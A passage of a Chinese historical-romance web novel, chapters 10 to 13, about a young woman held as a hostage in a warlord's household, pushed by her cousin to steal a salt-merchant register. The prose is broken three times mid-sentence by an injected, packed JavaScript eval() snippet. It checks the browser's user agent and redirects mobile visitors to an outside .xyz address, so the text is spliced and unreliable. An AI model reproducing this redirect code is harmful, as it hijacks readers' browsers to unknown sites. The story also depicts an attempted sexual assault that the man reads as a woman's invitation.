若是蓄意勾引怎会将人认错？又怎么会睡着？总不能是故意做戏误导他吧？ 对着这张几次入梦的脸，霍褚到底没径直离开，他退到外间，默默观察。 若是装睡，总会漏出破绽吧？ 还有方才那句话，怎么又谢大人不谢霍垣了？认出他了？ 内间烛尽，只剩床边一盏，火光灰暗。霍褚石像一般站了许久，也没等到妇人回。 他站得虽远，却能看清少女姣好面容。 “嗯……”多久之后元窈哼了一声，睡中觉得身子被包裹得极不舒服，翻动身体。 “唔……”她难受得呜咽，不自觉将手伸进被中拽下自己衣带，不得章法地扯自己衣服，因着没什么力气，半天也没脱下来一件，只漏出一个肩头。 白皙圆润的肩头在昏黄烛光下显得异常光滑，霍褚凝神看着，鬼使神差走了过去。 元窈半梦半醒，察觉背后有人靠近，以为是桑娘，声音乖巧像梦中呓语：“桑娘……帮我脱下衣服好不好……” 果然是在故意引诱自己，霍褚冷眼看着。少女半侧躺着，形状漂亮的肩头上印着一块淤青，这处伤口霍褚还记得。同是一边，她锁骨处一片红肿也很乍眼。 “好热……”少女声音娇娇地。 一涓热意涌上心头，霍褚冷笑一声，既然她这么努力，他又对她有几分意思，那便遂了她心意吧。他一把掀开被子，伸手探上元窈的衣服。 沉重的动作和夹着男人气息的檀香瞬间惊醒了元窈，恰最后一点烛灭，屋里瞬间昏暗下来。 带有薄茧的手握上肩头，热意灼人，绝不是桑娘的手，紧接着身上一轻，外衣已被人扒下。 “不要——”元窈惊叫一声往里躲，想要挣脱开男人的束缚。 这……这是哪儿？ 怎么回事？ 意识逐渐回笼，她想起之前的事。 是霍垣将她抱回来的，她睡着了？ 霍垣没走吗？ “阿垣哥哥，你做什么？”元窈捂着胸口急着问，但男人已然有些失控，还在拽她的衣服，“别——别这样阿垣哥哥！” 她挣扎着，男人反而更起劲，直接上床将她圈在身下。 酒气入鼻，男人一手紧紧握着她肩头，另一只手快速地扒去她的衣服。 “不行！不要！”元窈已被吓出泪水，小脸满是惊恐，她奋力推人，蜷着腿要从男人身下逃跑。 元窈这点力气在霍褚眼中是不够看的，他当元窈欲拒还迎，直接坐在元窈腿上将她压在身下，着了魔似的一手抓住她一条胳膊，另一手继续解她衣服。 元窈只凭一只手撼动不了他分毫，眼见着最后一件里衣要被拔下来，头发在挣扎间松动，簪子掉落下来恰被她摸到。 她顾不得什么，握着簪子就要往男人脖子上插。 霍褚察觉到她的动作，抬手就要抓住她的手腕，但身下人手腕忽地一转，簪子紧紧抵着自己纤细的脖领。 少女正在月光下，霍褚看她里衣敞开，半脱不脱挂在身上，漏出里面柔软轻薄的小衣。细嫩的脖子已被簪尖扎出暗色，她身子颤抖，泪眼婆娑，泣着：“阿垣哥哥……杳杳不该乱走……“ “杳杳知错了……不要这样好不好，杳杳害怕……” 11. 点破 天半亮，元窈慢悠悠睁开眼睛，颈上尚有几分热痛，伸手往上摸到一层纱布。 昨晚的事，记得不太清了，男人离开后又回来给她上药。他带着烛火来的，元窈不敢睁眼看，躺在床上任由他动作。 她在病中神志不清，逼走男人后才觉察之前忽视的古怪。那个人，不是霍垣，他喝醉了话多，不会那么沉静。 元窈眼睛暗了暗，除了霍垣，还有谁能在衙署中来去自如？ 她撑着身子起来，恰好门被推开，是桑娘。 “姑娘醒了。”桑娘略有惊讶，匆匆走到床边，直接伸手探向元窈的脸，已经恢复正常的温度了，她怕元窈再受凉，取来一件衣服披在她肩上：“我昨夜照顾公子去了，韩大夫说你无事，可寅时我看你都没褪热，这会儿可算好了……” 桑娘语气关切，但元窈还是心头酸苦。 “对了，姑娘脖子这儿怎么回事？我那会儿就看着了，几个血眼。”桑娘轻轻掀开元窈脖子上的纱布，药末掉了大半，该换药了。 “簪子扎着了……”她闷闷的。 桑娘手上动作一顿：“我竟没给你卸干净吗？当是昨日神烦粗心了，害得姑娘受伤。” 她摸到元窈身上潮意又说：“才烧好水了，姑娘可要净身？我再为姑娘换药。” 元窈从小自立就是在阿母那里也没得到这般无微不至的照顾。听了桑娘这些话，眼中几分动容，寅时桑娘便回来，还去烧水了，现在才是什么时间？ 她仰头，果然看见桑娘眼下乌青重，道道细纹的眼皮下，那双眼里尽是关怀。 她眼睛热了又热，欲说什么，却听院里脚步声混乱，紧接着两个侍女打扮的姑娘领着一个男人进来。这人她昨天见过，是奇医韩师。 “呀……小姐已经醒了。”一人惊讶。 桑娘转头看着她们。 前头圆眼鹅蛋脸的侍女行过礼，道：“小姐，阿婆，奴婢冬棠，这是秋棠，刘管家使奴婢二人来照顾小姐。” 桑娘一人照顾元窈早觉乏力，应一声叫两人扶元窈起身，她为韩师搬来木凳，要她给元窈诊脉。 两人服侍她坐起靠于枕上，将床里处的毯子拿来为她着身体。元窈静静看着韩师，他年过四十，两鬓斑白，鹰钩鼻吊梢眼，怎么看都不像是个医者。 “热症退了，但身子底虚，慢慢调养吧。”声音干巴巴，不近人情。 元窈垂首：“有劳。” 桑娘询问二人谁会煎药，问得便带秋棠一起送韩师出门，顺便问些有关汤药事宜。冬棠跪在床边拾走她手上薄纱，而后道：“奴婢帮小姐换药吧。” 元窈正出神，被这一句话拉回思绪，昨夜那股窒息的恐惧感再次席卷全身。刘伯才派过来的人就知道她颈上有伤，还自提为自己换药，是刘伯的吩咐，还是那个人的吩咐？ 她看着神情恭敬的冬棠，顿了一会儿才说：“等净身后吧。” 桑娘惦记宁慎身边没人照顾，服侍元窈洗过身体，取出一套轻薄一点的彩锈海棠云锦衣交给秋棠同元窈知会一声便去了偏房。 元窈抬头就看到她匆匆去的背影，眼中几分落寞。桑娘是表姐的乳娘，表哥也是她一手带大的，她心里自然更在意些。 她顶替表姐而来，桑娘细致照顾、霍垣的柔情蜜意都是她偷来的，不属于她的，可她却藏着私心想要占据。 秋棠为她穿好衣服，带她梳妆，冬棠取来药箱为她换药。 她颈上几个血点，一处极深，一块皮肤都红肿着。冬棠动作麻利，先用纱布笼着再将粉末状的药小心粘在伤口上，调整好位置几个手指灵活地系出一个漂亮的小花。 镜中人无一处不是漂亮的，就连包扎的纱布也是。 元窈莫名笑了一下，有几分嘲弄。 天已大亮了，她吩咐二人在屋里收拾，自己走向厢房。 宁慎已醒，也才收拾好出来，撞见她，一双眼就被紧紧勾住移不开了。他第一次见着元窈这样精细的装扮，脖上一朵小花点缀，美不胜收。 不到一月时日，元窈像得了仙露琼浆的娇花，开得更艳。 …… 桑娘出去前关上了门，留元窈和宁慎两人在屋。 宁慎坐在红木圆桌边，元窈不与他同坐，离得远远站着。 “你来做什么？”她开门见山地问，语气平淡。 “想你了，便来看看。”宁慎扯唇一笑，很不经意，讨论家常一般。 元窈不悦，皱眉：“到底什么事？” 宁慎再次：“就是来看你。” 闻言元窈扭头就走，宁慎起身一把拉住她将人顺势拽入怀中：“顺便来取盐商名册……主要还是看你。” “我一心念着杳杳，杳杳怎的待我这般冷漠？”他勾唇笑着，不那么着调。 元窈直接推开他，小脸已有怒气，他果然还是和之前一样，没有丝毫改变。 “书房不能靠近，暂时取不来。” 宁慎哼笑一声，再度走近她：“我听桑娘说了，这些日子你和霍垣亲近，至今还没见过霍褚。” 他身影再压过来，元窈万分不适，只当看不见反问他：“武侯平北方便够说明他并非昏庸无能之辈，舅父意图我尚能猜出，他焉能不知，何以与我亲近？” 那夜见过武侯一眼她便知道，舅父的意图、自己的意图，武侯都心知肚明。 “你不试怎么知道？”宁慎垂眸，阴凉的视线打在元窈脸上，他的杳杳这么漂亮，会有人不心动？他伸手勾得一缕长发，轻轻抚摸，幽幽道：“你像待霍垣一般待他，为他端茶，给他绣香包，与他夜夜浓情蜜语……” 元窈越听心跳越快，最后忍不住一把拍开他的手，恨恨看他。她气得不轻，脸都微微红了，肩头一颤一颤。既气他这般态度，又气桑娘事无巨细都告诉了他。 她用了力，宁慎手背一片红，语气更加恶劣：“你不愿意？不愿意你为什么来颍川郡？不愿意你为什么不逃？不愿意我让你走你为什么不走？？” 在她猜出舅父或有打算让她顶替表姐为质那夜，宁慎将她绑走要送她离开。 宁慎阴沉看着她，眼里有一丝狠意。他要她走，她不肯走，转头来颍川郡挑起了意中人。 元窈不惧他目光和他对视。为什么不走？为什么？ 因为她得舅父舅母养育十五年。 因为她与阿母流离失所时是舅父舅母施以援手。 她若走了，表姐北上遭人磋磨，日后宁慎会不会后悔他当日举动？ 脸上一丝悲苦划过，为什么不走？她昨日也一直问自己，若是当时走了，就不会如今这般担心受怕，怪她愚蠢，想得太过天真，以为自己真能左右逢源。 “那表哥现在带杳杳走吧。”元窈突地轻轻道，说这话的瞬间眼眶也红了，她想到了昨夜的情形，心底惊慌，神情也分外可怜，说话的语调要哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575409|171552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来了一样：“杳杳在这儿很害怕……” “原本有霍垣……武侯现不许霍垣与杳杳相近……”这次她主动走近宁慎，眼里有些几分希冀，央求着：“表哥不是喜欢杳杳吗？带杳杳走吧……” 她所求不多，安安稳稳活着就好。 若只是不能与霍垣相亲，她倒不会这样恐慌，她怕的是武侯真的对自己有意。这等冷戾薄凉之人她着实畏惧，她怕上一秒自己与他榻上温存，下一秒舅父反叛自己就人头落地。 自从元窈猜得宁慎龌龊心思，就再没对他有过真心，永远都是虚情假意的笑再或不见一丝感情。他尚记得自己因何对这个妹妹起了别样心思，是半年多前姑母去世，元窈一身孝衣揉眵抹泪，那么破碎可怜让人心疼。 现在这几分珠泪对向自己，元窈眸中还又几分对自己的央求依赖……宁慎被她突如其来的转变蛊惑，情不自禁去握她的手，但刚触碰到那一点细嫩，他便瞬间清醒，手像被烫了一般突地收了回去。 他怎么带她走？就这么走了他们宁家怎么办？ 若助秦铎成就一番霸业，日后封侯进爵；若是现在带她离开，他什么也不是还会牵连整个宁家。 事到如今，已经无法挽回了。 思路理清，他眼中果决，突地转身留给元窈一个冰冷的背影。 “你模样好，有心引诱未必不成，且试试吧。”语调没有一丝感情，似乎一瞬间就对她爱恨皆失。 一语打碎元窈所有期望。 她屏住呼吸缓了缓眼中泪，其实本来她也没想能离开，但听宁慎此言还是忍不住心碎…… 她深深呼吸，脖子上的伤口也不觉得疼了，情绪如常后，强拉出一抹笑：“杳杳知晓了，表哥若无事，杳杳退下了。” 宁慎背对她，没再说话。元窈轻抚去淌到脸颊的泪，推门出去。院里，一男人站在廊下，离她几步之远。 男人眉骨刀削般凌厉，墨瞳淬着冷意，元窈滞在原地，恍若置身寒潭，冰水砭人肌骨。 他在这里多久了？有没有听到什么？ 这么远的距离，除非他有耳听八方之能……若是听到了，也不该只是这样看着自己。 元窈快速回过神，强装镇定关上门，走到霍褚身边，行礼问安。 霍褚上下打量眼前人，不施粉黛的面容清甜秀美与昨日大不相同，藤萝紫色与她雪白肤色相得益彰，平添一丝幽静。 他幽深又薄情的眼睛让人心底发凉，元窈不必抬头便能感知到那道冷森森的视线。武侯身材比宁慎还要高大些，周身沉着一种不容忽视的威压，能翻云覆雨、定人生死。 视线落在元窈颈上小花，霍褚略有一分愉悦，声音懒散：“伤口还疼？” 霍褚包扎伤口时，她不肯睁眼就是想揭过当晚之事，没看清人她就能将错就错把人认做霍垣。武侯这般说便是不想称她心意，一定要告诉元窈是谁和她有了那混乱的一夜。 送侍女到她身边为她包扎伤口就是一次提醒，现在又亲自来说。 不仅要她知道，还要把这件事放在明面上。 “回侯爷话，已不疼了。”她顺从答着。 霍褚瞧着她，眼尾有一抹自己都不察觉的笑意，没再说什么，转身走了。 那道逼人的气息褪去，元窈偷偷抬眼，见得那道黑色身影走出西院，刚要松一口气，刘伯突然出现在门口，朝她和颜悦色道：“宁小姐，侯爷有请。” 12. 归家？ 元窈心一沉，神情凝重跟他过去。 刘伯一路指引她到书房，元窈迟疑走进，后门吱呀一声关上了，抬头，霍褚坐于书案旁，视线轻飘飘落在她身上。 “坐。”他低沉一声。 元窈顺他视线，坐在那方小凳上。 待她坐好，霍褚才慢悠悠问：“昨夜去做什么？” 元窈垂头不敢看他，只能看到一根骨节分明的手指一下一下有间停地敲击，她小声地像是知道错了似的，声音越说越轻：“去找阿垣哥哥——去找二公子，想和他说说话。” “嵩山一带有匪出没，他去剿匪少说一个月回来。” 怪不得昨夜没见到他……元窈才想起来，昨日霍垣在她床边哭时似乎提到了什么剿匪，还要自己等他回来。 一个月……那她一个月都见不得霍垣了。武侯早上才让她搬到西院，晚上霍垣便离了颍川郡。太久了，那么长时间够霍垣对她情浅，届时武侯不许霍垣与她亲近，霍垣也未必会说什么。 元窈垂眸出神，眸光流转发现书案桌脚有一块缺角，若是伏案写字定会不平。那日她一心想找名册，并没仔细看书房布置。现在看来，这张书案比霍垣书房的陈旧不少，而且有些过于长了，武侯书案洁净稍有物品，书案过长无用还碍着身子。 得和刘伯说一声。元窈心想着，还有窗户，衙署正院的书房采光太差，一早关上门这样昏，多少有些说不过去了。 她欲看一眼窗户，才抬头暮地怔住，男人正直勾勾地看着自己，像是好奇她刚在想什么。 元窈陡然生出冷汗，她出神了多久？武侯刚说了什么？ 她心思尽数摆在脸上，大大颠覆霍褚对她这两日的印象。雨夜初见以为她是个漂亮善良的人儿，回程时想到那伙土匪在客舍的厥言心里不得安宁掉头回去寻她，却发现她将人刺死。 救灾归后见城中事还有那日夜闹便知她心思细腻、聪慧周到。昨夜……今日又做出这一出。 “烧傻了？”不怪他说，今日确实看着不太聪明。 “不、不是。”元窈忙道，她一手紧紧捏着手帕解释：“是……是突然想到二公子，出神了。” 元窈一时想不出更好的托词，她与霍垣关系甚好，想他出神无可厚非。 轻薄的衣裙能看出少女双腿紧紧并拢，一双玉手规矩放在腿上，微微垂首很是乖巧的样子，神情也是乖怯的。 兴许是这几年万人之上被拥立惯了，霍褚看着她这等姿态心有一股隐秘的愉悦，她说话也是乖态，诱得自己想再问她什么，但听她再提及霍垣之后，什么兴致都没了。 元窈顿觉得冷，抬眸便见武侯一脸阴沉。她咬唇无措，是不信还是武侯以为自己有什么心思？ 武侯顾忌她心思不正对她厌恶，不想她与霍垣有牵扯有理。但之前他默许霍垣和她交往，二十天日日相伴，她生出情意思念霍垣也理所当然，没想到会让武侯这样震怒…… 舅父还说武侯不会为难女子，现下看来，在武侯眼中，只怕没有男女老幼之分。 “侯爷……”元窈害怕，这两字吐得极轻，像有一团棉絮在霍褚掌心剐蹭。 “杳……韩大夫嘱咐要按时用药，杳杳该用药了。” 昨儿韩师开得是褪热的药，今早才来诊脉，方子还没拟出来，哪儿来的药。 她紧张的样子霍褚看在眼里，轻轻哼笑一声，放她走了：“去吧。” 元窈听他那一声冷哼吓得脚趾都蜷在一起了，不想武侯竟松口了，忙起身行礼，克制脚步逃离，颈上那朵小花轻微摇动，如霍褚之心。 元窈把书房的门轻轻合上后才长舒一口气，转头见到刘伯站在阶下便走下去，“刘伯。” 刘伯也正走来，两人都隔两步远停下，元窈开口：“侯爷书案桌脚也有伤，而且书案陈旧还有些长，换一个好些。另外，书房采光不好，不如改改窗子？” 刘伯确实不曾注意这些，连忙应下，随后又听她道：“若是侯爷问起，刘伯莫说是我主意，是二公子要多留意的。” 不过是内院的修缮事宜，武侯未必会问，但她还是担心就添了一句。 穿过隔着书房和正房的小月洞门，元窈便看见宁慎站在西院门口，她走过去，和他并肩进院。 “去见武侯了？说了什么？”宁慎是平常语气。 “他说霍垣去往嵩山一带剿匪，要一个月才能回来。” 这事宁慎知道，昨日晚宴也有为霍垣践行之意，只是喝得兴起，霍垣听得山匪恶行痛心疾首连夜带着城外三千军去了，拦都拦不住。 血性但未免冲动，这等人不会是元窈良配。宁慎心中默默评着。 “他回来后，不要再与他纠缠。” 元窈置若罔闻，走到自己房前才停下，冷淡问他：“你何时走？” 宁慎见元窈不悦也不欲与她多说，同样平静回着：“至少五日，明日霍褚与他麾下将相约狩猎，我也同去。” “五日不够。” 宁慎不甚在意：“我不急走，最晚月底。” 元窈没再说什么，进屋去了。 宁慎一整个白日都没来找她，听说是同武侯一起出去了，元窈乐得清静。她平日里就在屋里刺绣，桑娘觉得她颈上一朵小花好看，便将换药的活计交给冬棠，冬棠又系出另一种花样，元窈心痒求冬棠教教她。 一日元窈学得七八种花样，孜孜不倦地用素带绑出来一桌的小花，她一边绑桑娘在一边拆——统共就二十来条素带哪儿够元窈一直玩。 晚些时候，刘伯叫桑娘为元窈梳洗，说有人送来鹿肉，侯爷邀她品味。 元窈不想颈上系着花招摇，一起吃个晚饭打扮给谁看？武侯还是宁慎？但三人都说好看不要她摘，不知安得什么心思。 在厅院架火烤肉，霍褚和宁慎座近，元窈在一边远离火光，除刚到时问好再没说过一句话，身边桑娘默默照顾她食用。 小厮隔会儿就会片两片烤好的薄厚相当的肉片，元窈吃些就腻了，不要他再呈，过会小厮送来一碗酸梅汤，她也吃好了，在一旁小口小口喝汤水。 武侯宁慎二人夸夸其谈，说些军事说些匪患事，有酒有肉不知要吃多久，元窈小心留意打算找个时机借口回房。 说着说着，二人提到汝南郡，元窈多听几句。汝南郡风光好？她倒不知道，不曾出门过…… “韩师言令妹虽身虚体弱，但用药慢慢调理即可，如若宁夫人思念，谨行带她一道回去吧，隔几月本侯遣韩师到汝南再诊也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575410|171552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻烦。” 谨行，是宁慎的字。宁家长辈说他骨子冲，取慎来阵，后宁慎行事乖戾，又取了谨行一字。 元窈原不经意听着，这话再在她脑海中过一边，她才听懂武侯是在说什么，猛地不可置信望向他。他……竟不扣着自己，竟许她回家。震惊之后她将视线转向宁慎，眸底难掩喜悦，高兴得要站起来，一晚不见波澜的心砰砰跳动。 武侯收了舅父呈礼就是暗允舅父求和，短时不会兴兵，舅父只求拖延，她能回家不更两全其美？ 回汝南后，她便向舅父请辞去新野，去寻生父墓土——“母亲虽念小妹，但更愿她身体安康福寿绵长，有韩先生在侯府时常照顾她才安心，只是要多叨扰侯爷……” 元窈黛眉霎时苦皱，整个身子都随心一同沉下了，宁慎一字一句，直接打弯了她的身子，整个人都失魂落魄。 霍褚瞥见她眉上哀怨，含情似水的眼睛泛红，可怜至极，不知离近了能否看见眸底泪，能否听见泣语声。 宁慎恍若不觉，提到别处，轻轻揭过这段。霍褚一杯烈酒入口，不是他不放人，是宁家不要。 元窈以为宁慎对自己情深才有那日要放她逃离之事，故而早上提出那般诉求，宁慎冷漠相拒在她意料之中，毕竟自己身处侯府若是无故失踪定会让武侯疑心宁家有异。 但她却没想到武侯许诺要她回去，宁慎也会拒绝，她唇边苦涩，这才意识到，从自己替表姐为质那一刻，舅父他们就不只打算要自己做一个质子。 她已经成了棋盘上一枚棋子，决定不了自己的生死去留…… 元窈那道目光太叫人难以忽视，就一直坐在那里望人，炉里炭火换了四轮，更声响过两次，两个男人都有意无视她。 一场食罢，已是深夜，三人一同离席。元窈一路失魂落魄，在心中耻笑自己愚蠢，宁慎步伐稳健将她远远落在后面。进西院，元窈再克制不住，推开桑娘的手提裙追上宁慎挡在他身前，语有湿意质问：“表哥为何不肯带杳杳离去？” 她明知答案，却想听宁慎说。听这个曾要娶她进门、曾放她离开的男人说。为什么他当日能放她离开，如今生路就在眼前他却要她走进那深渊地狱！ 宁慎轻看她一眼，错身要走不打算解释。元窈心痛难以复加，整个人霎时失了所有力气，她忙双手握住宁慎的手，哀哀乞求：“表哥，杳杳去同武侯说好不好？您带杳杳回汝南郡好不好？” “原不也说好了，有机会便接回杳杳，武侯宽仁重诺，既收礼定不会再兴兵，杳杳不想在这儿……”她泪如雨下，哭得身子都在颤抖，是真的害怕、真的难过。 苦苦哀求：“表哥……” 宁慎漠声：“盐商名册未取，你若回去，谁取名册？” 元窈从没见过他这样冷漠的神情，心底深处浅埋的、未发芽的种子在这一刻无声无息被泪水冲出来、远去了，再没有生根的可能。 她愣了一会儿，在宁慎打算甩开自己的前一秒瞳仁动了动，忙说：“那杳杳这几日就取来名册交予表哥，再同侯爷诉求，表哥带杳杳回家可好？” 宁慎半晌不语，元窈又泣语唤他一声，他才眉眼一些松动，嗯了一声。 元窈听他许诺顿时眉开眼笑，可算安心。 13. 狩猎 盐商名册？霍褚在心里恨恨冷笑，他武安侯的书房就那么好进，她能说取就取？！痴心妄想！ 霍褚沉着一张脸步履生风往书房去，脚下宝靴跺地铿锵。刘伯都离他远了远，怕不顺他心意，心里哀叹，才不是好好的还在笑，怎么突然黑了脸？ 他砰地一声推开书房们迈进，直奔案后书架，攥紧列在其中的皮卷欲扔出去。搜查衙署时他就发现这卷名册，霍褚占三州盐地，自然瞧不上这无用之物，但不想会引来他人觊觎——不如烧了干净！ 震怒时瞥到一旁清香木盆景，树干蜿蜒盘旋，叶片翠绿像棵小松，味道清新干净，扫去书房潮旧味。他前两日进书房就看出这是谁的手笔。 你为他绣香包，夜夜与他浓情蜜语…… 宁慎白日之话突地响在耳边，霍褚动作一停。他倒不是有心听人家兄妹私语，只是耳朵实在灵光。 不得不说，宁远昭此计真有高明之处，送来这么一个体贴人……但到底不过是一个丫头，能有何能耐？靠一副身骨就像将他迷得神魂颠倒、像霍垣一样不分是非？ 那他还想见识见识。 “哼。”霍褚把手中皮卷往深处藏了藏，再转过身眉间阴翳尽散，转变之快让刘伯瞠目。 书案烛台火光摇动，光影下，往日黑亮的书案却变了颜色。霍褚侧目，这才发现书案换新了，比之前窄了些，难怪他大马金刀走进来也没撞上。 刘伯见他视线停留，自解释道：“是宁小姐早儿说书案陈旧过长，我瞧着确实，就自作主张换了。” 不用霍褚问他便主动说了，还将元窈托出。 “她说的？”霍褚挑眉惊讶。哆哆嗦嗦在书房坐了半刻，连他说话都听不见，却想着了这个？ 刘伯跟在他身边多年，现虽未见他脸色有变化，但说话的语调却柔。昨夜霍褚行事他看得真切，再结合今日，他悟出一些，心中默默为霍垣哀叹一声，又说：“宁小姐还说书房采光不好，应改改窗子，我还想问过侯爷再做决断。” 武安侯一支亲族都是性情薄凉之人，这么多年才有一个心热的霍垣热闹。霍褚没了双亲后性子更冷，只与霍垣这一位堂弟亲近，刘伯看得出他心底是喜欢这种热腾腾的人的。豫州来的宁小姐有桃羞李让之容，心细如发又有似水柔情，惹霍褚喜欢不足为奇。 只是……见霍褚眼中碧光闪烁，刘伯心生茫然，才不过两日，武侯到底是心里喜欢还是要做什么其他？ …… 许是前两日睡得太多，元窈又是早早就醒了，窗外才刚有微光。桑娘这几日太劳累，守夜的是秋棠，正睡在榻下。鞋在秋棠被褥外，未免惊醒秋棠，她想了想还是躺了回去。 家中主人的书房是最私密之处，在宁家，她也只有给舅父奉茶时才能进入，就是能进入书房，那该怎么拿出名册呢？ 盐商。 豫州富庶不缺盐用，秦王南下领地多湖海，也不该缺盐，若说是要绝武侯盐路……也不可能。那为何舅父一定要这名册？ 元窈晃了晃头，不让自己多想，重理思绪。想要去书房定是要和武侯亲近的……脖子上的伤隐隐作痛，她没由来的伤心畏惧，又把自己藏回被子里。 桑娘来时看见床上鼓囊囊一团，蹑手蹑脚过去掀开被子，正对一张被捂得粉扑扑的小脸，她哼笑出声：“姑娘躲被子里做什么坏事呢？” “才没有。”元窈小声反驳。 元窈和宁慎一起用早饭，因着他在，厨房多做了两道荤菜送来。昨夜之事让元窈如鲠在喉，怨他恨他但又不敢，对宁慎说不出话。屋里只有碗筷的轻碰声，桑娘都觉得压抑了。 蒸蟹橘红闪着光泽，宁慎在家是爱吃的，但从不动手剥，元窈似乎胃口不好，也不碰一下。桑娘往前走一步想为两人剥蟹，刚要碰上就元窈就端起那盘蟹给她，“桑娘拿去和秋棠冬棠吃吧，二哥昨夜饮酒，今早不宜碰寒腥。” “这……”桑娘迟疑，看向宁慎。 宁慎头也没抬，淡淡地：“我不吃。” 元窈一直端着，一定要桑娘拿走，她只能端走放到一边。 用完饭，元窈不冷不热说了一声便去院里侍弄她的花花草草。约摸巳时，宁慎便和武侯一道出去了。 韩师已将药方交予桑娘，桑娘不好劳烦刘伯，入口的东西都是要紧的，她也信不过旁人，同元窈说一声，问了刘伯便离府抓药去了。 元窈照常带着秋棠冬棠做女红、料理庭院，随口问道：“你们是新来的？” 秋棠回话：“奴婢等人都是从洛阳来的，冬棠之前在冀州。” “这样啊。”元窈垂眸将修剪下的花枝拾好，又问：“那二公子有什么喜好你们可知道？” 冬棠将花枝接过来，道：“奴婢等人不贴身侍候，并不知晓主人喜好。” “原来如此。”元窈轻轻应声，不再多问。 霍垣嗜甜喜奶味，刘伯隔三差五就会让厨房做奶糕，平日用的菜品也是甜口居多。她来半月便看出来了，冬棠是从冀州来也会不知？再者，若不是体己的家奴，怎会一路追随？借口罢了。 刺绣、剪花都是耗时间的精细活儿，元窈慢悠悠做着打发时间，将理好的海棠就搬到宁慎房间，出来是就见着刘伯站在自己房门口。 “刘伯。”元窈叫了一声。 刘伯应声回头，浅笑致意：“宁小姐。” 他来到元窈身边，关心一句：“小姐今日身子可还好？” 她回以一笑：“劳刘伯费心，已大好了。” 寒暄过后，刘伯直入正题：“才外面来信，侯爷担心小姐在府上孤单，叫小人来知会一声，晚些时候会有马车接小姐一同去狩猎场。” 狩猎场？元窈心中疑惑，平白无故，武侯为何要她去狩猎场？是想试探她是否会武功？ 她支支吾吾：“可是刘伯……我不会骑马打猎。” 不等刘伯说，秋棠扑哧一声笑出来：“不用小姐打猎，若奴婢没有猜错，应该是有大人借此带家眷玩耍，小姐也去就是了。” 刘伯也朝元窈笑了笑，默认秋棠所言。 “好……”元窈这才应下。 秋棠冬棠兴致冲冲，一起给元窈找寻合适的衣裳，翻到最底下才找到一件缎布素衣。这是元窈带来的唯一一件旧衣，宁慎主张做的，虽素但料子好，不然魏氏也不会允许她装上。 相比与她们，元窈便是忧心忡忡了，她与武侯不过那一晚真真有过接触，虽自负美貌，但她不觉只与武侯见过三次自己就能将他迷住。 武侯要她去，一定有别的原因。 也是这时，桑娘也取药回来了。元窈换好衣服就等出发，见桑娘回来，便支开秋棠冬棠二人，将才发生的事说明。 “那我陪姑娘一起。”桑娘气都没喘匀一口，她不放心别人照顾，将药放下就要换衣服随行。 元窈拉住桑娘：“不用，冬棠陪我一起，她做事细心，不会出错。” 桑娘却不信任，摇头：“到底不是——”“我是想你帮我做些别的事。”元窈凑近她耳边，轻轻说了两句话…… 片刻之后， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575411|171552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马车停于衙署外，元窈被冬棠扶着上去，时隔二十多天，她才出过衙署大门。 山川之色元窈来时已见过一次，却不觉得眼乏，掀开车窗看了许久，直到头隐隐发晕才收回眼，与冬棠随意聊着：“秋棠说，会有大人家眷在，你可知道是什么人？” 冬棠稍作思考，猜测：“奴婢从洛阳来时只听说有两位将领新妇结伴而来，其他的便不知道了。” 元窈点点头，她曾听霍垣提过，现颍川郡有两位将领，算是武侯最信任之人。一个名为萧因，青州人，有妻有子；一名为个子恺，尚未婚娶…… 元窈心中暗讽自己多心。不过是去狩猎场玩耍，真能有什么计谋？ …… 霍褚要将元窈请来，宁慎不好替她相拒，众人往猎场去他掉了个头回来，在营地等待。 这几日他心绪不安，不知如何面对元窈。午夜梦回时，恨自己没能早日同父亲张口，现只能将元窈拱手让于他人。 也怪元窈，之前不愿离开，现在又要……一朝入局，哪儿能轻易脱身？ 元窈那日泣言再冒进耳中，宁慎转而一声冷笑，若不是霍褚拆了她和霍垣，元窈现下定乐不得留在这里，才不会苦苦哀求，要自己带她离开。 枉自己对她一腔欢喜。 正想着马车便到了，宁慎抬头冷冷望去，见一婢女率先下来伸出手，紧接着一双白嫩玉手覆上，恰有明媚阳光落下，车上人顾盼生辉，蓝白素衣如同流光仙裙。 她竟带来了…… 这件衣服，是他亲自给元窈挑选的。 宁慎心底冰霜瞬间消融，两步过去不等台梯放好便搂住元窈腰身将人抱了下来，冬棠都看得愣了愣。 元窈不知宁慎为何又突然亲近自己，既疑惑又气恼，且不说两人不是亲兄妹，便是亲兄妹，这举动也太过亲昵。 宁慎被她瞪了一眼，只觉得好像又回到在汝南的时光，心里忽地一轻，阴了两日的脸可算见晴。 周围人多，他不好说什么，只笑了笑领她往营帐去，到了门口低头在她耳边嘱咐一声：“多加小心。” 